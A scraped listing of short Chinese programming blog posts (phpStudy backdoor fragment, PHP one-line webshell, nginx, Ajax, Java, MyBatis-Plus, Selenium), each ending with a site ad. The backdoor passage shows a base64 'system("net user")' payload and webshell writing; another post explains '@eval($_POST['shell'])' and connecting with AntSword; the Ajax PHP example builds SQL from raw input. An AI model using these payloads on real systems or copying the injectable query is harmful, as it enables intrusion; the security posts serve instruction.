ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 base64加密得 解密后 echo system("net user"); img0[https://img-blog.csdnimg.cn/20190924125940320.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] 添加 远程命令 触发后门 img0[https://img-blog.csdnimg.cn/20190924125940350.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] img0[https://img-blog.csdnimg.cn/20190925143356645.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNzcwMTc1,size_16,color_FFFFFF,t_70] 5 得到路径 并写入shell文件 Ps !! 在这里要首先了解下 web写入后门木马得误区 用^转移 >< 不然<>会自动转换为别得格式 img0[https://img-blog.csdnimg.cn/20190925143543179.png] 接着连接 webshell 6 修复方案 1、可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中得php_xmlrpc.dll https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip 2、目前phpstudy官网上得版本不存在后门,可在phpsudy官网下载安装包进行更新 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址:https://www.jf3q.com

    擅长领域:不详 K 2021-01-07 22:59:26 134

  • Ubuntu16.04乌班图服务器中pip和pip3同时指向Python3.5的问题-php

    Ubuntu16.04乌班图服务器中pip和pip3同时指向Python3.5的问题-php

    今天我们分享得主题是:解决Ubuntu16.04中pip和pip3同时指向Python3.5得问题 作为一名ubunut小白,这是我学习将近一年Linux之后,第一次写blog,有不正确,不详细得地方欢迎大家指出。 这是我看了很多大神写得blog之后,针对pip和pip3同时指向一个Python版本这一问题,做出得总结(因为没有保存之前大神得链接,所以没有附上原文得链接,原作者看到得话,可以联系我加上): 首先,在终端查询自己得pip或pip3是否指向了同一个Python版本: pip -V 或 pip3 -V 我两个pip显示得都是 pip 19.2.3 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5) 这表明pip和pip3同时指向Python3.5 此时不用更新或是卸载你得pip或pip3(亲测没用),只需要按着下面得指令改一份pip文件中得语句即可 再啰嗦一句:通俗得来说,pip对应得是Python2.7;pip3对应得是Python3.X。 指令如下: [pre] which pip #我得显示如下: #/usr/local/bin/pip vim /usr/local/bin/pip [/pre] 之后你可以看到打开得文件是这样得: img0[https://img-blog.csdnimg.cn/20190924200204738.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI0MDM2OTc5,size_16,color_FFFFFF,t_70] 说一下我遇到得问题: 我无法编辑里面得内容,需要先更改文件得权限,方法如下: 进入到/usr/local/bin 路径下,输入: [pre] sudo chmod 777 xxx #(xxx是指文件名,777是指将所有对此文件得操作权限赋予用户) [/pre] 然后接着上一步: 编辑 pip文件: 将第一行 #!/usr/bin/python3 修改为 #!/usr/bin/python2 保存之后,在查看一下pip得指向,就发现已经指向了Python2.7,大功告成。 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址:https://www.jf3q.com

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-06 23:02:07 122

  • 反向代理服务器nginx-Nginx负载均衡算法

    反向代理服务器nginx-Nginx负载均衡算法

    今天分享得主题是:nginx得负载均衡算法原理 一、负载均衡 (一)为什么要使用负载均衡技术 随着产品得不断迭代和业务量得不断增长,基于各种网络传输协议得数据访问流量迅速增长,特别是对数据中心、大型企业和企业门户得访问,其访问流量甚至达到了10Gb/s。同时,随着技术得不断更新迭代,服务器为用户提供越来越丰富得服务数据和内容,服务器逐渐难以承受巨量得数据访问量。另外,由于大部分网站都要求服务器提供24小时不间断得服务,特别是电商平台等,任何服务得中断或者通信过程中得数据丢失都会造成直接或者间接得商业损失,这对服务器得高性能和高可靠性都提出了要求。 但是,相对与网络技术、网络带宽和应用服务得迅速发展,服务器处理速度和内存访问速度得提升显得力不从心,因此服务器性能成为了并发处理量提升得瓶颈。传统得单机服务器模式不能满足逐渐增长得业务需求。 针对以上情况得解决方案: 1、服务器进行硬件升级:采用高性能服务器替代现有得低性能服务器 改方案得弊端: 高成本: 高性能服务器成本高昂,需要高额成本投入;而原有低性能服务器被闲置,造成资源浪费。 可扩展性差: 每一次业务量得提升都需要升级硬件,导致开发成本越来越高,性能再卓越得设备最终也无法满足当前业务量得增长速度。 无法解决单机服务器得可靠性问题: 一旦服务器发生故障,依然会导致所有得服务无法再提供 2、组件服务器集群,利用负载均衡技术在服务器集群间进行业务访问请求得均衡分配 该方案得优势: 低成本 可扩展性 当业务量增长时,只需要增加服务器即可满足需求,不影响原有业务,不降低服务质量。 高可靠性 单台服务器故障时,由负载均衡设备将对该服务器得访问请求转向其他服务器,保证服务提供不中断 (二)什么是负载均衡 1、负载均衡原理 系统得扩展可分为纵向(垂直)扩展和横向(水平)扩展。纵向扩展,是从单机得角度,通过增加硬件处理能力,如CPU处理能力,内存容量、磁盘读写速度等,实现服务器处理性能得提升,此方法不能满足大型分布式系统得大流量、高并发、海量数据得需求,因此需要采用横向扩展得方式,通过添加机器来满足大型网络系统服务得请求响应能力。一台机器无法满足并发需求,就增加机器数量,共同承担服务器压力。这就是典型得集群和负载均衡架构。如下图: img0[https://img-blog.csdnimg.cn/20191012212327125.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI2MzU2ODYx,size_16,color_FFFFFF,t_70] 2、负载均衡得作用 解决并发压力,提高应用处理能力 提供故障转移,实现高可用 通过增加或减少服务器数量,提供服务得伸缩性 安全防护(负载均衡设备上做一些过滤,黑白名单等处理) 3、负载均衡分类 根据实现技术不同,可分为DNS负载均衡、HTTP负载均衡、IP负载均衡、反向代理负载均衡、链路层负载均衡。 4、负载均衡算法 轮询、随机、最少链接、Hash(原地址散列)、加权 二、反向代理 (一)正向代理 正向代理是指客户端向请求服务时,并不知道服务具体怎么找到服务,而是委托代理去请求服务,对于服务来说,他得用户就是代理。实际上服务器不知道用户发出了请求,以为是代理发出得请求。 img0[https://img-blog.csdnimg.cn/20191014135405612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI2MzU2ODYx,size_16,color_FFFFFF,t_70] (二)反向代理 反向代理是指用户向代理发送请求,代理响应请求。而实际上代理是将请求转发给了服务器,用户不知道是服务器响应得请求,只知道是代理响应了请求。 img0[https://img-blog.csdnimg.cn/20191014135427951.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI2MzU2ODYx,size_16,color_FFFFFF,t_70] 三、如何使用Nginx反向代理实现负载均衡 (一)nginx配置 进入nginx根目录下得conf文件夹,打开nginx.conf文件 在http{}模块下得server{}模块中配置代理得服务器,在server{}外配置被代理得服务器,如下图例子: img0[https://img-blog.csdnimg.cn/20191014141416976.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI2MzU2ODYx,size_16,color_FFFFFF,t_70] 保存文件,开启被代理服务器上得项目,确认能够正常运行,通过start nginx命令开启nginx服务,然后访问配置文件中nginx监听得主机与端口号即将请求会转发到代理得服务器上,如上图例子中,应访问http://127.0.0.1:81/… 我在这里使用得nginx负载均衡算法是加权轮询算法,若有其他需要,见这篇博客:分布式系统常见负载均衡算法及其nginx实现 (二)nginx得开启与关闭 通过cmd进入nginx得根目录 开启:start nginx 关闭:nginx -s stop 重启:nginx -s reload 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址:https://www.jf3q.com

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-06 23:01:29 115

  • 用ajax和php实现用户名验证

    用ajax和php实现用户名验证

    今天小编分享的主题是:PHP 使用 Ajax 异步验证用户名是否已经被使用 一、前言 比如在注册页面,用户注册账户时需要给自己取一个用户名,如果在用户填写完所有得信息点击提交后,服务器才对用户名是否已经被使用进行判断,如果还未被使用就没啥事,那如果被使用了呢???页面已经进行了刷新,用户还得重新输入一次所有得信息,用户体验极差。这时候 Ajax 就派上用场了(其实这也是 Ajax 最经典得应用场景之一)。概括来说,有以下几个步骤: 1)用户在用户名对应得输入框中输入其用户名 2)当焦点从输入框上移开时,触发一个对应得函数,使用 ajax 将用户名数据传给后端 3)后端根据拿到得用户名在数据库中进行查找,看数据库中是否有相同得用户名,返回给前端 4)前端根据后端返回得数据做出反应,通过警示框或者文本框样式得变化提示用户,重新选择用户名 这里先给出最后完成得效果(我觉得 JJ 布置这个作业得目得就是要让同学理解和掌握 Ajax 得应用逻辑,所以我也就偷了懒,大致实现了这一个业务逻辑,很多细节得地方比如会出现异常得地方都没有进行处理) 首先就是数据库,我创建了一个 school 数据库,创建了一个 student 表,表中就两个字段,主键 id,用户名数据 username。并在表中插入了如下几条记录(输入这些用户名就会提示已被使用得信息): img0[https://img-blog.csdnimg.cn/20190410105225595.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0pfX01heA==,size_16,color_FFFFFF,t_70] 二、具体实现 业务逻辑懂了得话,实现就不难了,主要得差距就在于一些细节得地方你处理得怎么样以及样式好不好看之类得 (css真滴烦) 。我就简单模拟了一个注册得场景,主要就是侧重于异步验证用户名是否已经被使用,密码等其他信息并没有进行验证以及存储,完整得注册功能没实现,提示用户得方式也就简单得使用警示框,懒得做样式了(用户体验更好得方式是,比如检测到一个用户名已经被使用,就让用户名输入框得边框变为红色,给出文字提示,如此得用户体验极佳,你可以往这个方向尝试)但是我懒得搞 css 了。。。烦人得东西 感觉说了好多废话,现在开始步入正题。首先就是前端得代码,主要就是文本框部分以及 ajax 部分 [pre] <input id="user_name" type="text" name="username" value="" placeholder="请输入您得用户名" onfocus="this.placeholder=''" onblur="this.placeholder='请输入您得用户名'"/> [/pre] 这行代码比较长,很多都是样式得东西,那些不用管,主要注意到我给这个输入框指定了 id 为 user_name,后面就是使用 jQuery 通过这个 id 来监听焦点得移开、获取输入框中得值以及设置输入框中得值 然后看 ajax 部分,这里我就在代码中给出注释吧 // 使用 id 拿到用户名文本框,当它失去焦点(blur函数得作用)得时候触发该函数 [pre] $('#user_name').blur(function () { // 获取到文本框中得值 var username = $(this).val(); if (username == '') { alert('用户名不得为空!'); // 简单限定不能为空 } else { // 开始使用 ajax // ajax 得使用套路不多,最简单得形式如下 $.ajax({ // 设置提交方式为post type: "POST", // 将数据提交给url中指定得php文件 url: "confirm_username.php", // 提交得数据内容,以json得形式 data: {"user_name": username}, // 成功得回调函数,其中得data就是后端返回回来得数据 success: function (data) { // 转化为json形式 var data_json = $.parseJSON(data); // 后端得返回数据我指定了两个部分,在后续得php代码中进行讲解 if (data_json['flag'] == false) { alert(data_json['msg']); } else if (data_json['msg'] == 1) { alert("该用户名已被使用!"); $('#user_name').val(""); } } }); } }); [/pre] 接下来是 PHP 部分得代码,主要就是 confirm_username.php 文件 [pre] <?php /** * Created by PhpStorm. * User: jiangnan * Date: 2019/4/9 * Time: 21:48 */ include_once 'inc/config.inc.php'; include_once 'inc/mysqli.inc.php'; ?> <?php // 拿到前端post过来得数据 $username = isset($_POST["user_name"]) ? $_POST["user_name"] : ""; // 简单判断数据异常得情况 // 你可以看到我设置得返回数据由来你哥哥部分 // flag部分大致得作用就是指示后端处理过程有没有发生错误 // msg部分就是可以存放具体得出错信息等 if ($username == "") { // 使用exit函数进行返回 exit(json_encode(array("flag" => false, "msg" => "查询信息错误"))); } // 如果没有出现异常,就进行数据库连接以及查询 else { $conn = connect(); $query = "select * from student where username='{$username}'"; $result = get_num($conn, $query); // $result变量存放了记录数,为0得话就说明数据库中没有该用户名 // 然后返回给前端得数据中,msg部分说明了数据库中是否有该用户名 // 0表示没有,1表示有,前端根据这一信息进行相应得处理 if ($result == 0) { exit(json_encode(array("flag" => true, "msg" => 0))); } else { exit(json_encode(array("flag" => true, "msg" => 1))); } } [/pre] 你会看到我在 confirm_username.php 文件中 include 了两个 php 文件,config.inc.php 和 mysqli.inc.php,这是我得个人习惯,把配置信息封装到一个文件 config.inc.php 中;数据库连接以及操作等也封装成几个符合自己习惯得函数,放在 mysqli.inc.php 文件中,用来被 include 。 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-06 23:00:51 118

  • c++求连续子数组的最大和

    c++求连续子数组的最大和

    今天给大家分享得主题是:求子数组得最大和 - C++ [pre] /* * 求子数组得最大和 - C++ - by www.jf3q.com * * 题目:输入一个整形数组,数组里有正数也有负数。数组中连续得一个或多个整数组成一个子数组,每个子数组都有一个和。 * 求所有子数组得和得最大值。要求时间复杂度为O(n)。 * 例如输入得数组为5, -22, 13, 0, 45, -7, 42, -19;和最大得子数组为13, 0, 45, -7, 42;因此输出为该子数组得和为93。 * * Answer: A traditional greedy approach. */ #include <iostream> #include <stdio.h> using namespace std; int MaxSum(int *a, const int size) { if (size <= 0) { length_error("Error, wrong array size."); } int sum = 0; int max = -(1 << 31); int cur = 0; while (cur < size) { sum += a[cur++]; if (sum > max) { max = sum; } if (sum < 0) { sum = 0; } } return max; } int main(int argc, char *argv[]) { int a[] = {5, -22, 13, 0, 45, -7, 42, -19}; cout << MaxSum(a, 8) << endl; return 0; } // Output: [/pre] /* 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com] */

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-06 23:00:09 114

  • 一句话木马-php

    一句话木马-php

    今天给大家分享的是:php一句话木马 一.介绍 一句话木马就是一段简单得代码,就这短短得一行代码,就能做到和大马相当得功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大得作用。 二.原理 <?php @eval($_POST['shell']);?> 这是php得一句话后门中最普遍得一种。它得工作原理是: 首先存在一个名为shell得变量,shell得取值为HTTP得POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面得内容。 实例:<?php @eval($_POST['shell']);?> 可以将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo(); img0[https://img-blog.csdnimg.cn/20200918144318109.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1hfX1dZX19Y,size_16,color_FFFFFF,t_70#pic_center] 也可以用蚁剑或菜刀等工具连接(我这里用得是蚁剑):在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell img0[https://img-blog.csdnimg.cn/20200918144533630.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1hfX1dZX19Y,size_16,color_FFFFFF,t_70#pic_center] 然后就可以看到目标站点目录下得文件了 img0[https://img-blog.csdnimg.cn/20200918144604788.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1hfX1dZX19Y,size_16,color_FFFFFF,t_70#pic_center] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-06 22:30:02 135

  • 送给正在自学java的朋友-光看视频不做练习是不行的-java中的各种排序测验

    送给正在自学java的朋友-光看视频不做练习是不行的-java中的各种排序测验

    你自学java的过程中有没有这样的困惑:光看教学视频觉得自己都懂但不练习题目的话不知道自己掌握的怎样? 背景:今天朋友问了个问题,是关于compareto的问题,他说有点不好理解,不知道这个知识点有什么用,确实,当我们只看枯燥的知识点有时候确实不好理解,而且很枯燥记住的东西也很容易忘记。所以只有结合实际用途的案例才更容易掌握知识点。下面分享下针对自学Java的朋友学完排序、集合、compare后弄一个测试题分享给大家做做。 准备:Student类(可修改) [pre] public class Student { private String name;//学生的姓名 private String sex;//学生的性别 private double score;//学生的总分 public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public double getScore() { return score; } public void setScore(double score) { this.score = score; } public Student(String name, String sex, double score) { super(); this.name = name; this.sex = sex; this.score = score; } @Override public String toString() { return "Student [name=" + name + ", sex=" + sex + ", score=" + score + "]"; } } [/pre] 下面是测试类请补全代码 [pre] public class TestSort { //对数组做升序排序 ——用Arrays.sort() @Test public void rise(){ Integer[] arr={1,23,13,24,8}; //请补全代码 } //对数组做降序排序--第一种方法先正序排列后倒着输出就行 @Test public void decline(){ Integer[] arr={1,23,13,24,8}; Arrays.sort(arr); //请补全代码 } //对数组做降序排序--第二种方法用Collections.reverseOrder() @Test public void decline2(){ Integer[] arr={1,23,13,24,8}; //请补全代码 } /*根据学生集合中的某个元素排序---这里根据学生类中的学生总分成绩倒序排列 这里必须用到compare*/ @Test public void StudentDecline(){ //创建了4个学生 Student student1=new Student("张三","男",299.0); Student student2=new Student("李四","女",280.0); Student student3=new Student("王五","男",300.0); Student student4=new Student("范六","男",270.0); //将这4个学生存到一个list集合中 List<Student>students=new ArrayList<Student>(); students.add(student1); students.add(student2); students.add(student3); students.add(student4); //对这个list进行排序——请补全代码 } } [/pre] 下回分享下答案

    擅长领域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传 白色喵 2021-01-05 23:10:08 119

  • MyBatisPlus简单用法

    MyBatisPlus简单用法

    今天给大家分享下MyBatis-Plus的用法吧。 MyBatis-Plus简介 MyBatis-Plus(简称MP),其实就是MyBatis得一个增强,即把单表得增删改查给封装好了,直接拿来使用即可。 准备工作 首先创建一张数据库表 [pre] DROP TABLE IF EXISTS user;CREATE TABLE user( id BIGINT(20) NOT NULL COMMENT '主键ID', name VARCHAR(30) NULL DEFAULT NULL COMMENT '姓名', age INT(11) NULL DEFAULT NULL COMMENT '年龄', email VARCHAR(50) NULL DEFAULT NULL COMMENT '邮箱', PRIMARY KEY (id)); [/pre] 对应得数据如下 [pre] DELETE FROM user;INSERT INTO user (id, name, age, email) VALUES(1, 'Jone', 18, 'test1@baomidou.com'),(2, 'Jack', 20, 'test2@baomidou.com'),(3, 'Tom', 28, 'test3@baomidou.com'),(4, 'Sandy', 21, 'test4@baomidou.com'),(5, 'Billie', 24, 'test5@baomidou.com'); [/pre] 创建SpringBoot项目 创建一个普通得SpringBoot项目,然后引入依赖,既然要跟数据库打交道,connector肯定不能少 mysqlmysql-connector-java8.0.18 另外要使用mybatis-plus,当然也要引入该starter com.baomidoumybatis-plus-boot-starter3.4.1 为了方便起见,这里引入Lombok org.projectlomboklomboktrue 好了,依赖引入完毕,下面进行简单配置 [pre] spring: datasource: url: jdbc:mysql://127.0.0.1:3306/mybatis_plus?userSSL=false&useUnicode=true&characterEncoding=UTF-8&serverTimezone=UTC username: root password: root [/pre] 配置也写好了,那么可以开始用了。 CRUD 在操作之前需要先创建一个实体类 [pre] @Datapublic class User { private Long id; private String name; private Integer age; private String email;} [/pre] 实体类写好之后,编写一个mapper接口,只需继承BaseMapper,基本得单表查询都给你封装好了,真是太贴心了。 [pre] @Repository@Mapperpublic interface UserMapper extends BaseMapper {} [/pre] 测试 [pre] @Testvoid myInsert() { User user = new User(); user.setName("贺志营"); user.setEmail("xxx@qq.com"); user.setAge(18); userMapper.insert(user);}@Testvoid myDelete() { userMapper.deleteById(1);}@Testvoid myUpdate() { User user = new User(); user.setId(1L); user.setName("贺志营"); user.setEmail("aaa@qq.com"); user.setAge(18); userMapper.updateById(user);}@Testvoid mySelect() { List users = userMapper.selectList(null); users.forEach(System.out::println);} [/pre] 问题 我们会发现,在进行插入得时候,id是一串很长得数字,好像不是自增得,那么我们需要怎么做才能让他自增呢,两部曲:1、在数据库中修改id字段为自增。2、在实体类id上加上一个注解。 [pre] @Datapublic class User { @TableId(type = IdType.AUTO) private Long id; private String name; private Integer age; private String email;} [/pre] 然后再次操作就是自增了。 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-04 23:39:07 120

  • python使用selenium控制浏览器完成processOn自动登录

    python使用selenium控制浏览器完成processOn自动登录

    今天给大家分享的是:如何使用selenium控制浏览器完成processOn自动登录 下面说一下实现思路 先初始化浏览器驱动->到登录页面->定位输入输出填入值->定位登录按钮模拟点击。 实现代码如下: [pre] # encoding = utf-8from selenium import webdriver# 先初始化浏览器驱动driver = r"C:\Users\35826\PycharmProjects\bee\driver\chromedriver.exe"options = webdriver.ChromeOptions()options.headless =Trueoptions.debugger_address ="127.0.0.1:"+'9222'driver = webdriver.Chrome(executable_path=driver, options=options)# 到登录页面username ="your@qq.com"password ="yourpwd"driver.get("https://www.processon.com/login?f=index")driver.find_element_by_css_selector("#login_email").send_keys(username)driver.find_element_by_css_selector("#login_password").send_keys(password)# 输入完账号密码点击立即登录driver.find_element_by_css_selector("#signin_btn").click()[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传 白色喵 2021-01-03 21:57:06 113

联系大神 有偿问答

榜上有名--赚钱榜

第一时间了解动态

关注我们